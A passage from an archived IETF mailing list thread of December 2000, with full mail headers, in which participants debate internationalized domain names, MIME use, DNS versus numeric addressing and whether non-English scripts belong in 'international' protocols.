global form? (But, somehow, the word "scaling" gets >in the way of believing that.) ... when I asked that question, I had in mind something like Tim Berners Lee presented about at the WWW5 conference in 1996, in which connectivity between communities might be seen as having a fractal structure, with groupings and lines of communication between groups visible at a range of scales. I think this is, in part, how people achieve flexible scalability in their communications. (Similar patterns also arise in natural phenomena). #g -- BTW, the basic tenet of end-to-end connectivity of data and services is, I think, satisfied by the IP layer. Part of my question was about the extent to which this end-to-end-ness needs to be duplicated at higher layers. ------------ Graham Klyne (GK@ACM.ORG) From owner-ietf-outbound Thu Dec 7 10:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA29170 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 10:00:02 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA28723 for ; Thu, 7 Dec 2000 09:56:24 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 1442T4-0004zB-00; Thu, 07 Dec 2000 14:56:18 +0000 Date: Thu, 7 Dec 2000 14:56:17 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Fred Baker cc: Betsy Brennan , ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <5.0.2.1.2.20001207073821.024a8a00@127.0.0.1> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 7 Dec 2000, Fred Baker wrote: > you missed it. Suppose you could not exchange in commerce with a person of > a given nationality, not because you did not have a language in common with > him or her, but because your system could not interpret his or her name. > That would mean that you could not spend money in that person's direction, > because you could not communicate with him or her. And it means that person is at a disadvantage in your marketspace, and that it's not your problem. (Which is why e.g. Andy Grove of Intel changed his name from something Hungarian to Andy Grove. Why engineer complex technical solutions to problems that market forces can easily take care of for you?) L. is getting a lot of Chinese spam with a Mime-Version: header and no other mime content identification. Misused mime is worse than useless. PGP From owner-ietf-outbound Thu Dec 7 10:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA02313 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 10:20:03 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA01229 for ; Thu, 7 Dec 2000 10:11:52 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id JAA13466 for ; Thu, 7 Dec 2000 09:06:41 -0600 (CST) Message-Id: <200012071506.JAA13466@rgfsparc.cr.usgs.gov> Date: Thu, 7 Dec 2000 09:06:41 -0600 (CST) From: "Robert G. Ferrell" Reply-To: "Robert G. Ferrell" Subject: Re: Internationalization and the IETF To: ietf@ietf.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 4ZbRyHI6IXK02zKKetFMxA== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc X-Loop: ietf@ietf.org Keith Moore said: >The notion that use of languages other than English can or should be >'localized' strikes me as both shockingly arrogant and hopelessly naive. It strikes me that the underlying assumption that people can't or won't deal with numeric addresses may no longer be a valid one, once full internationalization of canonical names is a reality. It would be a lot easier for me to handle pure numeric addresses than, for example, Chinese characters. I would hazard a guess that the vast majority of Internet message addressing is done automatically through the use of bookmarks/hyperlinks or email address books, anyway. It might be a hassle in the original contact to have to type in a sequence of numbers, but after that it's back to point and click. Maybe in the long run we just won't need domain name translation. Cheers, RGF Robert G. Ferrell, CISSP Information Systems Security Officer National Business Center U. S. Dept. of the Interior Robert_G_Ferrell@nbc.gov ======================================== Who goeth without humor goeth unarmed. ======================================== From owner-ietf-outbound Thu Dec 7 10:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA03644 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 10:30:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02162 for ; Thu, 7 Dec 2000 10:19:12 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eB7FMYs03005 for ; Thu, 7 Dec 2000 10:22:34 -0500 Sender: francis@localhost.localdomain Message-ID: <3A2FAB39.2AE40AC9@ecal.com> Date: Thu, 07 Dec 2000 10:22:33 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) References: <200012071405.JAA12567@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Keith Moore wrote: > Furthermore, a > great many people use multiple languages (not necessarily including > English) is, so that a given person, host, or subnetwork will often > need to exist in multiple (potentially competing) locales at once. Sometimes even in the same sentence. My mother grew up partly in Quebec; when she's talking to her siblings, they'll often use French words when the English ones don't come to mind immediately. -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |How many roads must a man walk down before he| |francis@ecal.com|admits he is LOST? | \==============================================================/ From owner-ietf-outbound Thu Dec 7 11:10:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA08680 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 11:10:03 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08017 for ; Thu, 7 Dec 2000 11:04:29 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id LAA17779; Thu, 7 Dec 2000 11:04:27 -0500 Date: Thu, 7 Dec 2000 11:04:27 -0500 Message-Id: <200012071604.LAA17779@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: Dave Crocker CC: Vernon Schryver , "Vinton G. Cerf" , ietf@ietf.org In-reply-to: Dave Crocker's message of Thu, 07 Dec 2000 07:23:11 -0500, <5.0.1.4.2.20001207064128.03f0fb50@joy.songbird.com> Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Thu, 07 Dec 2000 07:23:11 -0500 From: Dave Crocker At least the recipient has the unintelligible data well isolated and labeled. MIME did its job. Indeed. If I get a mail message which is in HTML only, 99.97% of the time it's SPAM-mail. And I've lost count of how many time I've received Chinese (or other Asian language) SPAM-mail. In fact, I'm seriously thinking about coding up a rule which automatically junks HTML mail unread. I guess MIME is useful for something. :-) - Ted From owner-ietf-outbound Thu Dec 7 11:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA10828 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 11:20:03 -0500 (EST) Received: from atkielski.com (atkielski.com [161.58.232.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08573 for ; Thu, 7 Dec 2000 11:09:17 -0500 (EST) Received: from triplex (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id RAA85904; Thu, 7 Dec 2000 17:09:17 +0100 (CET) Message-ID: <027a01c06068$0d54cb20$0a00000a@triplex> From: "Anthony Atkielski" To: References: <200012071506.JAA13466@rgfsparc.cr.usgs.gov> Subject: Re: Internationalization and the IETF Date: Thu, 7 Dec 2000 17:09:16 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit From: "Robert G. Ferrell" > Maybe in the long run we just won't need domain name translation. We've done without it thus far for telephone numbers, and that does not seem to have hampered their use and availability. From owner-ietf-outbound Thu Dec 7 11:30:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA13014 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 11:30:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10571 for ; Thu, 7 Dec 2000 11:18:59 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha0/8.12.0.Alpha0) with ESMTP id eB7GIsmv229126; Thu, 7 Dec 2000 11:18:56 -0500 Message-Id: <200012071618.eB7GIsmv229126@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: "Robert G. Ferrell" Cc: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: Your message of "Thu, 07 Dec 2000 09:06:41 CST." <200012071506.JAA13466@rgfsparc.cr.usgs.gov> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1892989852P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 07 Dec 2000 11:18:54 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1892989852P Content-Type: text/plain; charset=us-ascii On Thu, 07 Dec 2000 09:06:41 CST, "Robert G. Ferrell" said: > bookmarks/hyperlinks or email address books, anyway. It might be a hassle in > the original contact to have to type in a sequence of numbers, but > after that it's back to point and click. Until the destination moves to a new co-loco or they rewire their machine room. I have hosts that have had the same hostname but 5 different IP addresses in as many years. Let's not forget why we invented DNS in the first place.. ;) -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1892989852P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOi+4bnAt5Vm009ewEQLrnwCfR21WOPvNxQnulMqQV8vDDTacu/QAnRVQ J51QCoXws65wlAtlEvK4UuDV =G9G8 -----END PGP SIGNATURE----- --==_Exmh_-1892989852P-- From owner-ietf-outbound Thu Dec 7 11:50:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA17744 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 11:50:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15325 for ; Thu, 7 Dec 2000 11:40:16 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha0/8.12.0.Alpha0) with ESMTP id eB7Ge8mv217644; Thu, 7 Dec 2000 11:40:09 -0500 Message-Id: <200012071640.eB7Ge8mv217644@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Anthony Atkielski Cc: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: Your message of "Thu, 07 Dec 2000 17:09:16 +0100." <027a01c06068$0d54cb20$0a00000a@triplex> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <027a01c06068$0d54cb20$0a00000a@triplex> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1396643632P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 07 Dec 2000 11:40:08 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1396643632P Content-Type: text/plain; charset=us-ascii On Thu, 07 Dec 2000 17:09:16 +0100, Anthony Atkielski said: > We've done without it thus far for telephone numbers, and that does not seem > to have hampered their use and availability. Umm.. No. We haven't. You got a phone book in your office? Ever dialed 555-1212? ;) -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1396643632P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOi+9aHAt5Vm009ewEQIB4ACgh3CJbpwgJgGMlAdTr94I7CUH2/IAn1sC cjkQuYFs6YsiFRxKQbC9RGLT =TS8v -----END PGP SIGNATURE----- --==_Exmh_-1396643632P-- From owner-ietf-outbound Thu Dec 7 12:00:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA20173 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 12:00:03 -0500 (EST) Received: from atkielski.com (atkielski.com [161.58.232.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16164 for ; Thu, 7 Dec 2000 11:43:51 -0500 (EST) Received: from triplex (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id RAA99755; Thu, 7 Dec 2000 17:43:51 +0100 (CET) Message-ID: <028701c0606c$e16e98b0$0a00000a@triplex> From: "Anthony Atkielski" To: References: <200012071506.JAA13466@rgfsparc.cr.usgs.gov> <027a01c06068$0d54cb20$0a00000a@triplex> <200012071640.eB7Ge8mv217644@black-ice.cc.vt.edu> Subject: Re: Internationalization and the IETF Date: Thu, 7 Dec 2000 17:43:33 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit From: > Umm.. No. We haven't. You got a phone book in your > office? Ever dialed 555-1212? Not a valid comparison. Do we have a worldwide, global phonebook that lists every telephone number on the planet? No. Do we have telephones with keyboards into which you type a name instead of a number? No. And yet we get by very well without them. From owner-ietf-outbound Thu Dec 7 12:20:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA25836 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 12:20:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24006 for ; Thu, 7 Dec 2000 12:12:08 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA15370; Thu, 7 Dec 2000 12:12:00 -0500 (EST) Message-Id: <200012071712.MAA15370@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: TOMSON ERIC cc: ietf@ietf.org Subject: Re: Internationalization and the IETF (Re: Will Language Wars Bal kanize the Web?) In-reply-to: Your message of "Thu, 07 Dec 2000 17:14:27 +0100." <644F79AD0DB4D111BB5F00A0C92F801101DE39B1@brub100a.siemens.be> Date: Thu, 07 Dec 2000 12:12:00 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org [recipient list trimmed] > Look at other international communications systems, like TELEX and EDI > (Electronic Data Interchange). Why are they so "universal"? they aren't. both are used by a limited number of people within a limited set of business interests, as compared to the Internet. > I personally think that any internationalization process should always look > for the most common set of shared stuff. the "most common set of shared stuff" is already supported, so people who are content with that set can already communicate quite well. but the vast majority of people who speak other languages than English cannot communicate effectively using that "most common set of shared stuff", so we're trying to address the problem for those people. > Of course, this highly reduces the > different flavours, this narrows the possibilities, but we gain in > standardization, in internationalization, in mutual understanding! nice dream. but the vast majority of people in the world who don't speak English might not appereciate your efforts to marginalize them so that you can gain "mutual understanding" with everyone who does speak English (or is willing to learn it). > Look at these two artificial languages : Esperanto and Volapük. then look at how many people actually use those languages, and conclude that they're irrelevant in the context of this discussion. Keith From owner-ietf-outbound Thu Dec 7 12:30:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA28424 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 12:30:05 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA27134 for ; Thu, 7 Dec 2000 12:24:24 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA15710; Thu, 7 Dec 2000 12:24:14 -0500 (EST) Message-Id: <200012071724.MAA15710@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: L.Wood@eim.surrey.ac.uk cc: Fred Baker , Betsy Brennan , ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: Your message of "Thu, 07 Dec 2000 14:56:17 GMT." X-SUBJECT-MSG-FROM: Lloyd Wood Date: Thu, 07 Dec 2000 12:24:14 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > > you missed it. Suppose you could not exchange in commerce with a person of > > a given nationality, not because you did not have a language in common with > > him or her, but because your system could not interpret his or her name. > > That would mean that you could not spend money in that person's direction, > > because you could not communicate with him or her. > > And it means that person is at a disadvantage in your marketspace, and > that it's not your problem. why in the world do people think they can justify or not justify actions based on whether something is an advantage/disadvantage in some "marketspace"? Keith From owner-ietf-outbound Thu Dec 7 13:40:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA08897 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 13:40:02 -0500 (EST) Received: from psi.pair.com (psi.pair.com [209.68.1.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08274 for ; Thu, 7 Dec 2000 13:34:57 -0500 (EST) Received: (qmail 8371 invoked by uid 15359); 7 Dec 2000 18:34:56 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 7 Dec 2000 18:34:56 -0000 Date: Thu, 7 Dec 2000 13:34:56 -0500 (EST) From: chris d koeberle X-Sender: kodiak@psi.pair.com To: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: <028701c0606c$e16e98b0$0a00000a@triplex> Message-ID: Approved: kodiak@flail.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 7 Dec 2000, Anthony Atkielski wrote: > From: > > Umm.. No. We haven't. You got a phone book in your > > office? Ever dialed 555-1212? > Not a valid comparison. Do we have a worldwide, global phonebook that lists > every telephone number on the planet? No. Do we have telephones with > keyboards into which you type a name instead of a number? No. And yet we > get by very well without them. The issue of how distributed a database can be before it ceases to be a single database aside, yes, I do have a telephone into which I type a name instead of a number. However, the name must be stored on the phone - analogous to /etc/hosts, not DNS. You're really muddying two issues, though. The initial claim, as I understood it, was that the ability to do DNS lookup was irrelevant, that one would simply maintain one's own database of "IP numbers I like", whether one was a computer or a person. And then, when one of those computers changed IP addresses, one would... one would... wardial all the IP addresses available until one received the expected response, presumably. Yes, the DNS database is much better organized, easily accessible, thorough, and generally more accurate than what passes for a global phone number database. However, I don't think you can deny that there exist transactions which are worth promoting under IP and telephony which could not exist without such semi-authoritative databases. With that in mind, what is your claim, again? -= flail? http://flail.com/ =- -= the online comic strip =- From owner-ietf-outbound Thu Dec 7 14:00:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA12575 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 14:00:02 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11834 for ; Thu, 7 Dec 2000 13:56:40 -0500 (EST) From: Masataka Ohta Message-Id: <200012071850.DAA20768@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id DAA20768; Fri, 8 Dec 2000 03:49:47 +0859 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <200012071724.MAA15710@astro.cs.utk.edu> from Keith Moore at "Dec 7, 2000 12:24:14 pm" To: Keith Moore Date: Fri, 8 Dec 2000 03:49:46 +0859 () CC: L.Wood@eim.surrey.ac.uk, Fred Baker , Betsy Brennan , ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Keith; > > > you missed it. Suppose you could not exchange in commerce with a person of > > > a given nationality, not because you did not have a language in common with > > > him or her, but because your system could not interpret his or her name. > > > That would mean that you could not spend money in that person's direction, > > > because you could not communicate with him or her. > > > > And it means that person is at a disadvantage in your marketspace, and > > that it's not your problem. > > why in the world do people think they can justify or not justify actions > based on whether something is an advantage/disadvantage in some > "marketspace"? They can justify them locally within local marketspaces, of course. However, they can't justify to call them internationalization. Masataka Ohta From owner-ietf-outbound Thu Dec 7 14:10:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA15023 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 14:10:02 -0500 (EST) Received: from rembrandt.esys.ca (IDENT:root@rembrandt.esys.ca [198.161.92.131]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12412 for ; Thu, 7 Dec 2000 13:59:20 -0500 (EST) Received: from batfink.esys.ca (batfink.esys.ca [198.161.92.22]) by rembrandt.esys.ca (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id eB7Ix5v18287; Thu, 7 Dec 2000 11:59:05 -0700 Date: Thu, 7 Dec 2000 11:59:05 -0700 (MST) From: Lyndon Nerenberg X-Sender: lyndon@batfink.esys.ca To: Anthony Atkielski cc: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: <028701c0606c$e16e98b0$0a00000a@triplex> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org > Not a valid comparison. Do we have a worldwide, global phonebook that lists > every telephone number on the planet? No. Yes. 555-1212 (and it's regional equivalents). > Do we have telephones with > keyboards into which you type a name instead of a number? No. Instead, we have voice-enabled devices that we speak into. It's still name-to-address mapping. --lyndon From owner-ietf-outbound Thu Dec 7 14:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA17458 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 14:20:04 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12548 for ; Thu, 7 Dec 2000 13:59:57 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eB7Ixne22333 env-from ; Thu, 7 Dec 2000 11:59:49 -0700 (MST) Date: Thu, 7 Dec 2000 11:59:49 -0700 (MST) From: Vernon Schryver Message-Id: <200012071859.eB7Ixne22333@calcite.rhyolite.com> To: dhc2@dcrocker.net, vcerf@MCI.NET Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) Cc: ietf@ietf.org X-Loop: ietf@ietf.org > From: Henk Langeveld > > You know, it isn't that long ago that I realised that for many Americans, > "International" is synonymous with "Non-American". That is as true as the observation that many who learn English as a second language think that "international" is synonymous with using the language of their few dozen million countrymen. It is a fact that the single international language of the late 20th and early 21st is far more closely related to a subset of American English than any other local language. It is also a fact that only during my lifetime has that odd situation developed. If the world had asked you or me to design an international language, I think either of us would have done better. But the first fact is all that matters. If it makes your feel better, note that just as Latin was not exactly what Italians spoke, the current international language is not exactly what is spoken by citizens of the largest nation that calls itself The United States of America (there are >1) and whose mother tongue is English. Thanks to satellite TV and other forms of what the P.C. call cultural imperialism, the modern difference are small, but they exist. > From: Dave Crocker > >Diacritical marks are no different from Cyrillic, Arabic, Greek, Hebrew, > >Sanskrit, and other non-Latin character sets in not being not part of > >the international language. The goal of communicating is to communicate, > >not wave flags in support of national languages. > > In a sense, Harald's observation points out a case in which all those other > sets very much ARE part of the "international" language. If those are part of your "international language," then what characters are not part of it? It is Polically Correct to pretend we all speak, read, and write a single language, but also hopelessly silly. > It does not matter whether readers understood the semantics of the strings; > they needed to be able to see them. > That is not national flag waving. > That is global utility. "Global unity" is a matter of everyone being able to communicate with everyone else. It has not only has nothing to do with each of us using our favorite set of glyphs, but goes against it. Each of us using our favorite language *internationally* is a real Tower of Babel. Being able use strings is not only a matter of being able to type their characters. Those of us who have studied languages with alphabets other than what learned while young have discovered that just as the human ear has difficulty hearing sounds outside our mother tongues, the human eye has trouble seeing foreign glyphs. If they're not yours, all of those diacritical marks look the same or are invisible. There are good reasons why the international lingua francas of previous millenia have forced people to transliterate their native writings instead of importing them wholesale. MIME and 8-bit domain names are mechanisms for importing wholesale instead of transliterating. They're good *locally*, but not *internationally*. > ... > Technical standards work often gets distracted by trying to deal with > issues that are outside the scope of reasonable technical standards > work. It should not be the task of such work to dictate or constrain users > to only socially acceptable behavior. That is a social task, not a > technical one. Yes. So why do otherwise rational IETF particpants claim that social and political notions such as "global unity" are somehow related to MIME and IDN? MIME and localized domain names are good and necessary, but only locally or provincially, even when "locally" involves vast land areas (e.g. Russian or Spanish) or billions of people. > Choosing to send various types of data requires making decisions about the > context. No technical standard can be designed to "automatically" > determine when it is, or is not, appropriate to send that data, whether it > is diacritical marks, kanji, or an excel spread sheet. Even when the > sender has information about recipient capabilities, social factors affect > the choices. Yes, so why do some MIME and *localized* domain name advocates claim otherwise? What is the pathology insisting that sending MIME to international mailing lists makes sense? Why do apparently rational people claim that 8-bit binary domain are "international"? Because they've been infected with Political Correctness or because they don't want to dilute political support among the unthinking for whatever they're advocating? > ... > At least the recipient has the unintelligible data well isolated and > labeled. MIME did its job. Yes, but the justification of the sender for using MIME to send unitllitible data is crazy, since communication is averted while resources, including the human recipient's time, are wasted. > ... > The question is whether a coherent extension to DNS will be done in a > fashion which will keep the DNS integrated, or whether this requirement > produces an independent DNS. > That's not flag-waving. > That's multiple DNS namespaces. yes. I like much of the following: > We need to be careful to distinguish two different requirements. One is > for a mechanism to encode domain names in non-ascii character sets. The > second is for an equivalence mapping from non-ascii domain names into ascii > domain names. The former is so that the technical and operational aspects > of the DNS remain coherent. The latter is so that everyone has a way to > reach a particular domain, even if they cannot generate the non-ascii form > of the name. > > The extreme form of the latter task involves ascii encodings that are > "comfortable" for human users; that requirement is not solved in human > non-technical situations. I believe that the example of alternate choices > of "jin" and "gin" as representations for some chinese character(s) was > used. Hence this extreme form of the task is not going to be solved by > lowly IETF protocol designers. > > At best, use of ACE-like encodings permits an ascii representation, albeit > one that is "uncomfortable". It is as far as the IETF should go in trying > to permit a "universally accessible" form for all domain names. > > Interestingly, we do not need to have all domain names exchange and stored > in an ACE form, forever. Just as MIME is able to support pure binary > encodings, so can the DNS. The ACE form can be mapped to when needed. Where we differ most in the Politically Correct cant in support of it. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Thu Dec 7 14:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA20621 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 14:30:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13126 for ; Thu, 7 Dec 2000 14:02:13 -0500 (EST) Received: from hq.lindsayelec.com ([191.1.2.200]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Thu, 7 Feb 2036 02:05:56 -0500 Received: FROM dank BY hq.lindsayelec.com ; Thu Feb 07 02:05:55 2036 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Balkanize - IDN Date: Thu, 7 Feb 2036 02:05:56 -0500 Message-ID: <20360207070556549.AAA276@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org Keith Moore moore@cs.utk.edu said: >People can and will use their own languages on the Internet - in email, >on the web, and in domain names, and without regard to their location >in either the physical world, the currently topology of the network, >or the TLD of the host they are using at the moment. Furthermore, a >great many people use multiple languages (not necessarily including >English) is, so that a given person, host, or subnetwork will often >need to exist in multiple (potentially competing) locales at once. >Fortunately the IDN group is making very good progress, and I'm >confident that consensus around a concrete proposal will soon emerge. Dan K dank@hq.lindsayelec.com says: Well, People cope with the flaws reasonably well. The codeset loaded into this email client and OS has a hefty smash of diacritial support. Most languages with a western origin can be represented with some moderate difficulties. A Scientific American article on machine representation showed how uneven the support is, showing some languages really take a beating from word processing in general. The negative example was Farsi, which they illustrated looks tragically bad when machine rendered without specific technology support. The 16 bit attempts for some ideographic languages seems substaintially usable. One reason the IDN thing is so daunting is the work arounds are not that bad. For instance, you can embed a backgroundless GIF into a web page and have any ideogram link to a URL. That's nearly 